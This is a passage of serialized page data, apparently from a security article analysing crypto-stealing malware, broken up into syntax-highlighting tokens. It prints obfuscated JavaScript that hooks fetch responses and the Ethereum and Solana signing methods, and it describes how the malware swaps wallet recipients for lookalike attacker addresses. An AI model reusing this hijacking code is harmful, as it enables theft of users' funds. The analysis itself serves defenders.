finalResponse;\n};\n",[96143],{"type":23,"tag":38,"props":96144,"children":96145},{"__ignoreMap":7},[96146,96181,96238,96300,96315,96352,96391,96406,96445,96452,96485,96501,96560,96598,96623,96648,96672,96680,96695],{"type":23,"tag":141,"props":96147,"children":96148},{"class":143,"line":144},[96149,96153,96157,96161,96165,96169,96173,96177],{"type":23,"tag":141,"props":96150,"children":96151},{"style":184},[96152],{"type":29,"value":32564},{"type":23,"tag":141,"props":96154,"children":96155},{"style":160},[96156],{"type":29,"value":1674},{"type":23,"tag":141,"props":96158,"children":96159},{"style":449},[96160],{"type":29,"value":34836},{"type":23,"tag":141,"props":96162,"children":96163},{"style":449},[96164],{"type":29,"value":36685},{"type":23,"tag":141,"props":96166,"children":96167},{"style":154},[96168],{"type":29,"value":1220},{"type":23,"tag":141,"props":96170,"children":96171},{"style":160},[96172],{"type":29,"value":8269},{"type":23,"tag":141,"props":96174,"children":96175},{"style":750},[96176],{"type":29,"value":36699},{"type":23,"tag":141,"props":96178,"children":96179},{"style":154},[96180],{"type":29,"value":13480},{"type":23,"tag":141,"props":96182,"children":96183},{"class":143,"line":180},[96184,96188,96193,96197,96201,96206,96210,96214,96218,96222,96226,96230,96234],{"type":23,"tag":141,"props":96185,"children":96186},{"style":449},[96187],{"type":29,"value":34659},{"type":23,"tag":141,"props":96189,"children":96190},{"style":750},[96191],{"type":29,"value":96192}," originalResponse",{"type":23,"tag":141,"props":96194,"children":96195},{"style":160},[96196],{"type":29,"value":1674},{"type":23,"tag":141,"props":96198,"children":96199},{"style":148},[96200],{"type":29,"value":34682},{"type":23,"tag":141,"props":96202,"children":96203},{"style":750},[96204],{"type":29,"value":96205}," originalFetch",{"type":23,"tag":141,"props":96207,"children":96208},{"style":154},[96209],{"type":29,"value":322},{"type":23,"tag":141,"props":96211,"children":96212},{"style":184},[96213],{"type":29,"value":36767},{"type":23,"tag":141,"props":96215,"children":96216},{"style":154},[96217],{"type":29,"value":192},{"type":23,"tag":141,"props":96219,"children":96220},{"style":449},[96221],{"type":29,"value":16370},{"type":23,"tag":141,"props":96223,"children":96224},{"style":154},[96225],{"type":29,"value":480},{"type":23,"tag":141,"props":96227,"children":96228},{"style":160},[96229],{"type":29,"value":8269},{"type":23,"tag":141,"props":96231,"children":96232},{"style":750},[96233],{"type":29,"value":36699},{"type":23,"tag":141,"props":96235,"children":96236},{"style":154},[96237],{"type":29,"value":2496},{"type":23,"tag":141,"props":96239,"children":96240},{"class":143,"line":205},[96241,96245,96250,96254,96258,96262,96267,96271,96275,96279,96284,96288,96292,96296],{"type":23,"tag":141,"props":96242,"children":96243},{"style":449},[96244],{"type":29,"value":34659},{"type":23,"tag":141,"props":96246,"children":96247},{"style":750},[96248],{"type":29,"value":96249}," contentType",{"type":23,"tag":141,"props":96251,"children":96252},{"style":160},[96253],{"type":29,"value":1674},{"type":23,"tag":141,"props":96255,"children":96256},{"style":750},[96257],{"type":29,"value":96192},{"type":23,"tag":141,"props":96259,"children":96260},{"style":154},[96261],{"type":29,"value":322},{"type":23,"tag":141,"props":96263,"children":96264},{"style":750},[96265],{"type":29,"value":96266},"headers",{"type":23,"tag":141,"props":96268,"children":96269},{"style":154},[96270],{"type":29,"value":322},{"type":23,"tag":141,"props":96272,"children":96273},{"style":184},[96274],{"type":29,"value":15028},{"type":23,"tag":141,"props":96276,"children":96277},{"style":154},[96278],{"type":29,"value":192},{"type":23,"tag":141,"props":96280,"children":96281},{"style":828},[96282],{"type":29,"value":96283},"'Content-Type'",{"type":23,"tag":141,"props":96285,"children":96286},{"style":154},[96287],{"type":29,"value":1748},{"type":23,"tag":141,"props":96289,"children":96290},{"style":160},[96291],{"type":29,"value":163},{"type":23,"tag":141,"props":96293,"children":96294},{"style":828},[96295],{"type":29,"value":30307},{"type":23,"tag":141,"props":96297,"children":96298},{"style":154},[96299],{"type":29,"value":1684},{"type":23,"tag":141,"props":96301,"children":96302},{"class":143,"line":218},[96303,96307,96311],{"type":23,"tag":141,"props":96304,"children":96305},{"style":449},[96306],{"type":29,"value":6530},{"type":23,"tag":141,"props":96308,"children":96309},{"style":750},[96310],{"type":29,"value":13781},{"type":23,"tag":141,"props":96312,"children":96313},{"style":154},[96314],{"type":29,"value":1684},{"type":23,"tag":141,"props":96316,"children":96317},{"class":143,"line":227},[96318,96322,96326,96331,96335,96339,96343,96348],{"type":23,"tag":141,"props":96319,"children":96320},{"style":148},[96321],{"type":29,"value":29862},{"type":23,"tag":141,"props":96323,"children":96324},{"style":154},[96325],{"type":29,"value":1220},{"type":23,"tag":141,"props":96327,"children":96328},{"style":750},[96329],{"type":29,"value":96330},"contentType",{"type":23,"tag":141,"props":96332,"children":96333},{"style":154},[96334],{"type":29,"value":322},{"type":23,"tag":141,"props":96336,"children":96337},{"style":184},[96338],{"type":29,"value":33651},{"type":23,"tag":141,"props":96340,"children":96341},{"style":154},[96342],{"type":29,"value":192},{"type":23,"tag":141,"props":96344,"children":96345},{"style":828},[96346],{"type":29,"value":96347},"'application/json'",{"type":23,"tag":141,"props":96349,"children":96350},{"style":154},[96351],{"type":29,"value":33664},{"type":23,"tag":141,"props":96353,"children":96354},{"class":143,"line":241},[96355,96359,96363,96367,96371,96375,96379,96383,96387],{"type":23,"tag":141,"props":96356,"children":96357},{"style":750},[96358],{"type":29,"value":41705},{"type":23,"tag":141,"props":96360,"children":96361},{"style":160},[96362],{"type":29,"value":1674},{"type":23,"tag":141,"props":96364,"children":96365},{"style":148},[96366],{"type":29,"value":34682},{"type":23,"tag":141,"props":96368,"children":96369},{"style":750},[96370],{"type":29,"value":96192},{"type":23,"tag":141,"props":96372,"children":96373},{"style":154},[96374],{"type":29,"value":322},{"type":23,"tag":141,"props":96376,"children":96377},{"style":184},[96378],{"type":29,"value":14097},{"type":23,"tag":141,"props":96380,"children":96381},{"style":154},[96382],{"type":29,"value":1243},{"type":23,"tag":141,"props":96384,"children":96385},{"style":184},[96386],{"type":29,"value":32467},{"type":23,"tag":141,"props":96388,"children":96389},{"style":154},[96390],{"type":29,"value":1305},{"type":23,"tag":141,"props":96392,"children":96393},{"class":143,"line":262},[96394,96398,96402],{"type":23,"tag":141,"props":96395,"children":96396},{"style":154},[96397],{"type":29,"value":29936},{"type":23,"tag":141,"props":96399,"children":96400},{"style":148},[96401],{"type":29,"value":1976},{"type":23,"tag":141,"props":96403,"children":96404},{"style":154},[96405],{"type":29,"value":1951},{"type":23,"tag":141,"props":96407,"children":96408},{"class":143,"line":271},[96409,96413,96417,96421,96425,96429,96433,96437,96441],{"type":23,"tag":141,"props":96410,"children":96411},{"style":750},[96412],{"type":29,"value":41705},{"type":23,"tag":141,"props":96414,"children":96415},{"style":160},[96416],{"type":29,"value":1674},{"type":23,"tag":141,"props":96418,"children":96419},{"style":148},[96420],{"type":29,"value":34682},{"type":23,"tag":141,"props":96422,"children":96423},{"style":750},[96424],{"type":29,"value":96192},{"type":23,"tag":141,"props":96426,"children":96427},{"style":154},[96428],{"type":29,"value":322},{"type":23,"tag":141,"props":96430,"children":96431},{"style":184},[96432],{"type":29,"value":14097},{"type":23,"tag":141,"props":96434,"children":96435},{"style":154},[96436],{"type":29,"value":1243},{"type":23,"tag":141,"props":96438,"children":96439},{"style":184},[96440],{"type":29,"value":29},{"type":23,"tag":141,"props":96442,"children":96443},{"style":154},[96444],{"type":29,"value":1305},{"type":23,"tag":141,"props":96446,"children":96447},{"class":143,"line":293},[96448],{"type":23,"tag":141,"props":96449,"children":96450},{"style":154},[96451],{"type":29,"value":854},{"type":23,"tag":141,"props":96453,"children":96454},{"class":143,"line":801},[96455,96459,96464,96468,96473,96477,96481],{"type":23,"tag":141,"props":96456,"children":96457},{"style":449},[96458],{"type":29,"value":34659},{"type":23,"tag":141,"props":96460,"children":96461},{"style":750},[96462],{"type":29,"value":96463}," processedData",{"type":23,"tag":141,"props":96465,"children":96466},{"style":160},[96467],{"type":29,"value":1674},{"type":23,"tag":141,"props":96469,"children":96470},{"style":184},[96471],{"type":29,"value":96472}," replaceAddresses",{"type":23,"tag":141,"props":96474,"children":96475},{"style":154},[96476],{"type":29,"value":192},{"type":23,"tag":141,"props":96478,"children":96479},{"style":750},[96480],{"type":29,"value":2367},{"type":23,"tag":141,"props":96482,"children":96483},{"style":154},[96484],{"type":29,"value":2496},{"type":23,"tag":141,"props":96486,"children":96487},{"class":143,"line":810},[96488,96492,96497],{"type":23,"tag":141,"props":96489,"children":96490},{"style":449},[96491],{"type":29,"value":34659},{"type":23,"tag":141,"props":96493,"children":96494},{"style":750},[96495],{"type":29,"value":96496}," finalResponseText",{"type":23,"tag":141,"props":96498,"children":96499},{"style":160},[96500],{"type":29,"value":34326},{"type":23,"tag":141,"props":96502,"children":96503},{"class":143,"line":824},[96504,96509,96513,96517,96522,96527,96531,96535,96539,96543,96547,96551,96556],{"type":23,"tag":141,"props":96505,"children":96506},{"style":449},[96507],{"type":29,"value":96508}," typeof",{"type":23,"tag":141,"props":96510,"children":96511},{"style":750},[96512],{"type":29,"value":96463},{"type":23,"tag":141,"props":96514,"children":96515},{"style":160},[96516],{"type":29,"value":29890},{"type":23,"tag":141,"props":96518,"children":96519},{"style":828},[96520],{"type":29,"value":96521}," 'string'",{"type":23,"tag":141,"props":96523,"children":96524},{"style":160},[96525],{"type":29,"value":96526}," ?",{"type":23,"tag":141,"props":96528,"children":96529},{"style":750},[96530],{"type":29,"value":96463},{"type":23,"tag":141,"props":96532,"children":96533},{"style":160},[96534],{"type":29,"value":33586},{"type":23,"tag":141,"props":96536,"children":96537},{"style":750},[96538],{"type":29,"value":35999},{"type":23,"tag":141,"props":96540,"children":96541},{"style":154},[96542],{"type":29,"value":322},{"type":23,"tag":141,"props":96544,"children":96545},{"style":184},[96546],{"type":29,"value":37704},{"type":23,"tag":141,"props":96548,"children":96549},{"style":154},[96550],{"type":29,"value":192},{"type":23,"tag":141,"props":96552,"children":96553},{"style":750},[96554],{"type":29,"value":96555},"processedData",{"type":23,"tag":141,"props":96557,"children":96558},{"style":154},[96559],{"type":29,"value":2496},{"type":23,"tag":141,"props":96561,"children":96562},{"class":143,"line":839},[96563,96567,96572,96576,96580,96585,96589,96594],{"type":23,"tag":141,"props":96564,"children":96565},{"style":449},[96566],{"type":29,"value":34659},{"type":23,"tag":141,"props":96568,"children":96569},{"style":750},[96570],{"type":29,"value":96571}," finalResponse",{"type":23,"tag":141,"props":96573,"children":96574},{"style":160},[96575],{"type":29,"value":1674},{"type":23,"tag":141,"props":96577,"children":96578},{"style":449},[96579],{"type":29,"value":30401},{"type":23,"tag":141,"props":96581,"children":96582},{"style":184},[96583],{"type":29,"value":96584}," Response",{"type":23,"tag":141,"props":96586,"children":96587},{"style":154},[96588],{"type":29,"value":192},{"type":23,"tag":141,"props":96590,"children":96591},{"style":750},[96592],{"type":29,"value":96593},"finalResponseText",{"type":23,"tag":141,"props":96595,"children":96596},{"style":154},[96597],{"type":29,"value":47360},{"type":23,"tag":141,"props":96599,"children":96600},{"class":143,"line":848},[96601,96606,96610,96614,96619],{"type":23,"tag":141,"props":96602,"children":96603},{"style":750},[96604],{"type":29,"value":96605}," status:",{"type":23,"tag":141,"props":96607,"children":96608},{"style":750},[96609],{"type":29,"value":96192},{"type":23,"tag":141,"props":96611,"children":96612},{"style":154},[96613],{"type":29,"value":322},{"type":23,"tag":141,"props":96615,"children":96616},{"style":750},[96617],{"type":29,"value":96618},"status",{"type":23,"tag":141,"props":96620,"children":96621},{"style":154},[96622],{"type":29,"value":2168},{"type":23,"tag":141,"props":96624,"children":96625},{"class":143,"line":2304},[96626,96631,96635,96639,96644],{"type":23,"tag":141,"props":96627,"children":96628},{"style":750},[96629],{"type":29,"value":96630}," statusText:",{"type":23,"tag":141,"props":96632,"children":96633},{"style":750},[96634],{"type":29,"value":96192},{"type":23,"tag":141,"props":96636,"children":96637},{"style":154},[96638],{"type":29,"value":322},{"type":23,"tag":141,"props":96640,"children":96641},{"style":750},[96642],{"type":29,"value":96643},"statusText",{"type":23,"tag":141,"props":96645,"children":96646},{"style":154},[96647],{"type":29,"value":2168},{"type":23,"tag":141,"props":96649,"children":96650},{"class":143,"line":2313},[96651,96656,96660,96664,96668],{"type":23,"tag":141,"props":96652,"children":96653},{"style":750},[96654],{"type":29,"value":96655}," headers:",{"type":23,"tag":141,"props":96657,"children":96658},{"style":750},[96659],{"type":29,"value":96192},{"type":23,"tag":141,"props":96661,"children":96662},{"style":154},[96663],{"type":29,"value":322},{"type":23,"tag":141,"props":96665,"children":96666},{"style":750},[96667],{"type":29,"value":96266},{"type":23,"tag":141,"props":96669,"children":96670},{"style":154},[96671],{"type":29,"value":2168},{"type":23,"tag":141,"props":96673,"children":96674},{"class":143,"line":2335},[96675],{"type":23,"tag":141,"props":96676,"children":96677},{"style":154},[96678],{"type":29,"value":96679}," });\n",{"type":23,"tag":141,"props":96681,"children":96682},{"class":143,"line":2343},[96683,96687,96691],{"type":23,"tag":141,"props":96684,"children":96685},{"style":148},[96686],{"type":29,"value":37670},{"type":23,"tag":141,"props":96688,"children":96689},{"style":750},[96690],{"type":29,"value":96571},{"type":23,"tag":141,"props":96692,"children":96693},{"style":154},[96694],{"type":29,"value":1684},{"type":23,"tag":141,"props":96696,"children":96697},{"class":143,"line":2352},[96698],{"type":23,"tag":141,"props":96699,"children":96700},{"style":154},[96701],{"type":29,"value":1357},{"type":23,"tag":116,"props":96703,"children":96704},{"start":205},[96705],{"type":23,"tag":120,"props":96706,"children":96707},{},[96708],{"type":29,"value":96709},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":131,"props":96711,"children":96713},{"code":96712,"language":29833,"meta":7,"className":29831,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[96714],{"type":23,"tag":38,"props":96715,"children":96716},{"__ignoreMap":7},[96717,96796,96807,96864,96904,96929,96944,96955,96989,97022,97041,97068,97076,97087,97127,97156,97184,97191,97231,97274,97318,97333,97372,97379,97403,97410],{"type":23,"tag":141,"props":96718,"children":96719},{"class":143,"line":144},[96720,96724,96728,96733,96737,96741,96745,96750,96754,96759,96763,96768,96772,96776,96780,96784,96788,96792],{"type":23,"tag":141,"props":96721,"children":96722},{"style":148},[96723],{"type":29,"value":14255},{"type":23,"tag":141,"props":96725,"children":96726},{"style":154},[96727],{"type":29,"value":1220},{"type":23,"tag":141,"props":96729,"children":96730},{"style":750},[96731],{"type":29,"value":96732},"_0x2c3d7e",{"type":23,"tag":141,"props":96734,"children":96735},{"style":154},[96736],{"type":29,"value":322},{"type":23,"tag":141,"props":96738,"children":96739},{"style":750},[96740],{"type":29,"value":36784},{"type":23,"tag":141,"props":96742,"children":96743},{"style":160},[96744],{"type":29,"value":29890},{"type":23,"tag":141,"props":96746,"children":96747},{"style":828},[96748],{"type":29,"value":96749}," 'eth_sendTransaction'",{"type":23,"tag":141,"props":96751,"children":96752},{"style":160},[96753],{"type":29,"value":1253},{"type":23,"tag":141,"props":96755,"children":96756},{"style":750},[96757],{"type":29,"value":96758}," _0x2c3d7e",{"type":23,"tag":141,"props":96760,"children":96761},{"style":154},[96762],{"type":29,"value":322},{"type":23,"tag":141,"props":96764,"children":96765},{"style":750},[96766],{"type":29,"value":96767},"params",{"type":23,"tag":141,"props":96769,"children":96770},{"style":160},[96771],{"type":29,"value":1253},{"type":23,"tag":141,"props":96773,"children":96774},{"style":750},[96775],{"type":29,"value":96758},{"type":23,"tag":141,"props":96777,"children":96778},{"style":154},[96779],{"type":29,"value":322},{"type":23,"tag":141,"props":96781,"children":96782},{"style":750},[96783],{"type":29,"value":96767},{"type":23,"tag":141,"props":96785,"children":96786},{"style":154},[96787],{"type":29,"value":2399},{"type":23,"tag":141,"props":96789,"children":96790},{"style":472},[96791],{"type":29,"value":2698},{"type":23,"tag":141,"props":96793,"children":96794},{"style":154},[96795],{"type":29,"value":39096},{"type":23,"tag":141,"props":96797,"children":96798},{"class":143,"line":180},[96799,96803],{"type":23,"tag":141,"props":96800,"children":96801},{"style":148},[96802],{"type":29,"value":95835},{"type":23,"tag":141,"props":96804,"children":96805},{"style":154},[96806],{"type":29,"value":1951},{"type":23,"tag":141,"props":96808,"children":96809},{"class":143,"line":205},[96810,96814,96819,96823,96828,96832,96836,96840,96844,96848,96852,96856,96860],{"type":23,"tag":141,"props":96811,"children":96812},{"style":449},[96813],{"type":29,"value":50147},{"type":23,"tag":141,"props":96815,"children":96816},{"style":750},[96817],{"type":29,"value":96818}," _0x39ad21",{"type":23,"tag":141,"props":96820,"children":96821},{"style":160},[96822],{"type":29,"value":1674},{"type":23,"tag":141,"props":96824,"children":96825},{"style":184},[96826],{"type":29,"value":96827}," _0x1089ae",{"type":23,"tag":141,"props":96829,"children":96830},{"style":154},[96831],{"type":29,"value":192},{"type":23,"tag":141,"props":96833,"children":96834},{"style":750},[96835],{"type":29,"value":96732},{"type":23,"tag":141,"props":96837,"children":96838},{"style":154},[96839],{"type":29,"value":322},{"type":23,"tag":141,"props":96841,"children":96842},{"style":750},[96843],{"type":29,"value":96767},{"type":23,"tag":141,"props":96845,"children":96846},{"style":154},[96847],{"type":29,"value":2399},{"type":23,"tag":141,"props":96849,"children":96850},{"style":472},[96851],{"type":29,"value":2698},{"type":23,"tag":141,"props":96853,"children":96854},{"style":154},[96855],{"type":29,"value":21732},{"type":23,"tag":141,"props":96857,"children":96858},{"style":449},[96859],{"type":29,"value":2670},{"type":23,"tag":141,"props":96861,"children":96862},{"style":154},[96863],{"type":29,"value":2496},{"type":23,"tag":141,"props":96865,"children":96866},{"class":143,"line":218},[96867,96872,96876,96880,96884,96888,96892,96896,96900],{"type":23,"tag":141,"props":96868,"children":96869},{"style":750},[96870],{"type":29,"value":96871}," _0x2c3d7e",{"type":23,"tag":141,"props":96873,"children":96874},{"style":154},[96875],{"type":29,"value":322},{"type":23,"tag":141,"props":96877,"children":96878},{"style":750},[96879],{"type":29,"value":96767},{"type":23,"tag":141,"props":96881,"children":96882},{"style":154},[96883],{"type":29,"value":2399},{"type":23,"tag":141,"props":96885,"children":96886},{"style":472},[96887],{"type":29,"value":2698},{"type":23,"tag":141,"props":96889,"children":96890},{"style":154},[96891],{"type":29,"value":7337},{"type":23,"tag":141,"props":96893,"children":96894},{"style":160},[96895],{"type":29,"value":1377},{"type":23,"tag":141,"props":96897,"children":96898},{"style":750},[96899],{"type":29,"value":96818},{"type":23,"tag":141,"props":96901,"children":96902},{"style":154},[96903],{"type":29,"value":1684},{"type":23,"tag":141,"props":96905,"children":96906},{"class":143,"line":227},[96907,96911,96915,96919,96924],{"type":23,"tag":141,"props":96908,"children":96909},{"style":154},[96910],{"type":29,"value":29936},{"type":23,"tag":141,"props":96912,"children":96913},{"style":148},[96914],{"type":29,"value":46889},{"type":23,"tag":141,"props":96916,"children":96917},{"style":154},[96918],{"type":29,"value":1220},{"type":23,"tag":141,"props":96920,"children":96921},{"style":750},[96922],{"type":29,"value":96923},"_0x226343",{"type":23,"tag":141,"props":96925,"children":96926},{"style":154},[96927],{"type":29,"value":96928},") {}\n",{"type":23,"tag":141,"props":96930,"children":96931},{"class":143,"line":241},[96932,96936,96940],{"type":23,"tag":141,"props":96933,"children":96934},{"style":154},[96935],{"type":29,"value":45351},{"type":23,"tag":141,"props":96937,"children":96938},{"style":148},[96939],{"type":29,"value":1976},{"type":23,"tag":141,"props":96941,"children":96942},{"style":154},[96943],{"type":29,"value":1951},{"type":23,"tag":141,"props":96945,"children":96946},{"class":143,"line":262},[96947,96951],{"type":23,"tag":141,"props":96948,"children":96949},{"style":148},[96950],{"type":29,"value":29862},{"type":23,"tag":141,"props":96952,"children":96953},{"style":154},[96954],{"type":29,"value":77051},{"type":23,"tag":141,"props":96956,"children":96957},{"class":143,"line":271},[96958,96963,96967,96971,96975,96979,96984],{"type":23,"tag":141,"props":96959,"children":96960},{"style":154},[96961],{"type":29,"value":96962}," (",{"type":23,"tag":141,"props":96964,"children":96965},{"style":750},[96966],{"type":29,"value":96732},{"type":23,"tag":141,"props":96968,"children":96969},{"style":154},[96970],{"type":29,"value":322},{"type":23,"tag":141,"props":96972,"children":96973},{"style":750},[96974],{"type":29,"value":36784},{"type":23,"tag":141,"props":96976,"children":96977},{"style":160},[96978],{"type":29,"value":29890},{"type":23,"tag":141,"props":96980,"children":96981},{"style":828},[96982],{"type":29,"value":96983}," 'solana_signTransaction'",{"type":23,"tag":141,"props":96985,"children":96986},{"style":160},[96987],{"type":29,"value":96988}," ||\n",{"type":23,"tag":141,"props":96990,"children":96991},{"class":143,"line":293},[96992,96997,97001,97005,97009,97014,97018],{"type":23,"tag":141,"props":96993,"children":96994},{"style":750},[96995],{"type":29,"value":96996}," _0x2c3d7e",{"type":23,"tag":141,"props":96998,"children":96999},{"style":154},[97000],{"type":29,"value":322},{"type":23,"tag":141,"props":97002,"children":97003},{"style":750},[97004],{"type":29,"value":36784},{"type":23,"tag":141,"props":97006,"children":97007},{"style":160},[97008],{"type":29,"value":29890},{"type":23,"tag":141,"props":97010,"children":97011},{"style":828},[97012],{"type":29,"value":97013}," 'solana_signAndSendTransaction'",{"type":23,"tag":141,"props":97015,"children":97016},{"style":154},[97017],{"type":29,"value":1748},{"type":23,"tag":141,"props":97019,"children":97020},{"style":160},[97021],{"type":29,"value":82300},{"type":23,"tag":141,"props":97023,"children":97024},{"class":143,"line":801},[97025,97029,97033,97037],{"type":23,"tag":141,"props":97026,"children":97027},{"style":750},[97028],{"type":29,"value":96871},{"type":23,"tag":141,"props":97030,"children":97031},{"style":154},[97032],{"type":29,"value":322},{"type":23,"tag":141,"props":97034,"children":97035},{"style":750},[97036],{"type":29,"value":96767},{"type":23,"tag":141,"props":97038,"children":97039},{"style":160},[97040],{"type":29,"value":51163},{"type":23,"tag":141,"props":97042,"children":97043},{"class":143,"line":810},[97044,97048,97052,97056,97060,97064],{"type":23,"tag":141,"props":97045,"children":97046},{"style":750},[97047],{"type":29,"value":96871},{"type":23,"tag":141,"props":97049,"children":97050},{"style":154},[97051],{"type":29,"value":322},{"type":23,"tag":141,"props":97053,"children":97054},{"style":750},[97055],{"type":29,"value":96767},{"type":23,"tag":141,"props":97057,"children":97058},{"style":154},[97059],{"type":29,"value":2399},{"type":23,"tag":141,"props":97061,"children":97062},{"style":472},[97063],{"type":29,"value":2698},{"type":23,"tag":141,"props":97065,"children":97066},{"style":154},[97067],{"type":29,"value":10452},{"type":23,"tag":141,"props":97069,"children":97070},{"class":143,"line":824},[97071],{"type":23,"tag":141,"props":97072,"children":97073},{"style":154},[97074],{"type":29,"value":97075}," ) {\n",{"type":23,"tag":141,"props":97077,"children":97078},{"class":143,"line":839},[97079,97083],{"type":23,"tag":141,"props":97080,"children":97081},{"style":148},[97082],{"type":29,"value":68465},{"type":23,"tag":141,"props":97084,"children":97085},{"style":154},[97086],{"type":29,"value":1951},{"type":23,"tag":141,"props":97088,"children":97089},{"class":143,"line":848},[97090,97094,97099,97103,97107,97111,97115,97119,97123],{"type":23,"tag":141,"props":97091,"children":97092},{"style":449},[97093],{"type":29,"value":6750},{"type":23,"tag":141,"props":97095,"children":97096},{"style":750},[97097],{"type":29,"value":97098}," _0x5ad975",{"type":23,"tag":141,"props":97100,"children":97101},{"style":160},[97102],{"type":29,"value":1674},{"type":23,"tag":141,"props":97104,"children":97105},{"style":750},[97106],{"type":29,"value":96758},{"type":23,"tag":141,"props":97108,"children":97109},{"style":154},[97110],{"type":29,"value":322},{"type":23,"tag":141,"props":97112,"children":97113},{"style":750},[97114],{"type":29,"value":96767},{"type":23,"tag":141,"props":97116,"children":97117},{"style":154},[97118],{"type":29,"value":2399},{"type":23,"tag":141,"props":97120,"children":97121},{"style":472},[97122],{"type":29,"value":2698},{"type":23,"tag":141,"props":97124,"children":97125},{"style":154},[97126],{"type":29,"value":30042},{"type":23,"tag":141,"props":97128,"children":97129},{"class":143,"line":2304},[97130,97134,97138,97143,97147,97152],{"type":23,"tag":141,"props":97131,"children":97132},{"style":148},[97133],{"type":29,"value":37758},{"type":23,"tag":141,"props":97135,"children":97136},{"style":154},[97137],{"type":29,"value":1220},{"type":23,"tag":141,"props":97139,"children":97140},{"style":750},[97141],{"type":29,"value":97142},"_0x5ad975",{"type":23,"tag":141,"props":97144,"children":97145},{"style":154},[97146],{"type":29,"value":322},{"type":23,"tag":141,"props":97148,"children":97149},{"style":750},[97150],{"type":29,"value":97151},"transaction",{"type":23,"tag":141,"props":97153,"children":97154},{"style":154},[97155],{"type":29,"value":13480},{"type":23,"tag":141,"props":97157,"children":97158},{"class":143,"line":2313},[97159,97164,97168,97172,97176,97180],{"type":23,"tag":141,"props":97160,"children":97161},{"style":750},[97162],{"type":29,"value":97163}," _0x5ad975",{"type":23,"tag":141,"props":97165,"children":97166},{"style":160},[97167],{"type":29,"value":1674},{"type":23,"tag":141,"props":97169,"children":97170},{"style":750},[97171],{"type":29,"value":97098},{"type":23,"tag":141,"props":97173,"children":97174},{"style":154},[97175],{"type":29,"value":322},{"type":23,"tag":141,"props":97177,"children":97178},{"style":750},[97179],{"type":29,"value":97151},{"type":23,"tag":141,"props":97181,"children":97182},{"style":154},[97183],{"type":29,"value":1684},{"type":23,"tag":141,"props":97185,"children":97186},{"class":143,"line":2335},[97187],{"type":23,"tag":141,"props":97188,"children":97189},{"style":154},[97190],{"type":29,"value":11343},{"type":23,"tag":141,"props":97192,"children":97193},{"class":143,"line":2343},[97194,97198,97203,97207,97211,97215,97219,97223,97227],{"type":23,"tag":141,"props":97195,"children":97196},{"style":449},[97197],{"type":29,"value":30015},{"type":23,"tag":141,"props":97199,"children":97200},{"style":750},[97201],{"type":29,"value":97202}," _0x5dbe63",{"type":23,"tag":141,"props":97204,"children":97205},{"style":160},[97206],{"type":29,"value":1674},{"type":23,"tag":141,"props":97208,"children":97209},{"style":184},[97210],{"type":29,"value":96827},{"type":23,"tag":141,"props":97212,"children":97213},{"style":154},[97214],{"type":29,"value":192},{"type":23,"tag":141,"props":97216,"children":97217},{"style":750},[97218],{"type":29,"value":97142},{"type":23,"tag":141,"props":97220,"children":97221},{"style":154},[97222],{"type":29,"value":480},{"type":23,"tag":141,"props":97224,"children":97225},{"style":449},[97226],{"type":29,"value":6850},{"type":23,"tag":141,"props":97228,"children":97229},{"style":154},[97230],{"type":29,"value":2496},{"type":23,"tag":141,"props":97232,"children":97233},{"class":143,"line":2352},[97234,97238,97242,97246,97250,97254,97258,97262,97266,97270],{"type":23,"tag":141,"props":97235,"children":97236},{"style":148},[97237],{"type":29,"value":37758},{"type":23,"tag":141,"props":97239,"children":97240},{"style":154},[97241],{"type":29,"value":1220},{"type":23,"tag":141,"props":97243,"children":97244},{"style":750},[97245],{"type":29,"value":96732},{"type":23,"tag":141,"props":97247,"children":97248},{"style":154},[97249],{"type":29,"value":322},{"type":23,"tag":141,"props":97251,"children":97252},{"style":750},[97253],{"type":29,"value":96767},{"type":23,"tag":141,"props":97255,"children":97256},{"style":154},[97257],{"type":29,"value":2399},{"type":23,"tag":141,"props":97259,"children":97260},{"style":472},[97261],{"type":29,"value":2698},{"type":23,"tag":141,"props":97263,"children":97264},{"style":154},[97265],{"type":29,"value":48827},{"type":23,"tag":141,"props":97267,"children":97268},{"style":750},[97269],{"type":29,"value":97151},{"type":23,"tag":141,"props":97271,"children":97272},{"style":154},[97273],{"type":29,"value":13480},{"type":23,"tag":141,"props":97275,"children":97276},{"class":143,"line":2421},[97277,97282,97286,97290,97294,97298,97302,97306,97310,97314],{"type":23,"tag":141,"props":97278,"children":97279},{"style":750},[97280],{"type":29,"value":97281}," _0x2c3d7e",{"type":23,"tag":141,"props":97283,"children":97284},{"style":154},[97285],{"type":29,"value":322},{"type":23,"tag":141,"props":97287,"children":97288},{"style":750},[97289],{"type":29,"value":96767},{"type":23,"tag":141,"props":97291,"children":97292},{"style":154},[97293],{"type":29,"value":2399},{"type":23,"tag":141,"props":97295,"children":97296},{"style":472},[97297],{"type":29,"value":2698},{"type":23,"tag":141,"props":97299,"children":97300},{"style":154},[97301],{"type":29,"value":48827},{"type":23,"tag":141,"props":97303,"children":97304},{"style":750},[97305],{"type":29,"value":97151},{"type":23,"tag":141,"props":97307,"children":97308},{"style":160},[97309],{"type":29,"value":1674},{"type":23,"tag":141,"props":97311,"children":97312},{"style":750},[97313],{"type":29,"value":97202},{"type":23,"tag":141,"props":97315,"children":97316},{"style":154},[97317],{"type":29,"value":1684},{"type":23,"tag":141,"props":97319,"children":97320},{"class":143,"line":2429},[97321,97325,97329],{"type":23,"tag":141,"props":97322,"children":97323},{"style":154},[97324],{"type":29,"value":37411},{"type":23,"tag":141,"props":97326,"children":97327},{"style":148},[97328],{"type":29,"value":1976},{"type":23,"tag":141,"props":97330,"children":97331},{"style":154},[97332],{"type":29,"value":1951},{"type":23,"tag":1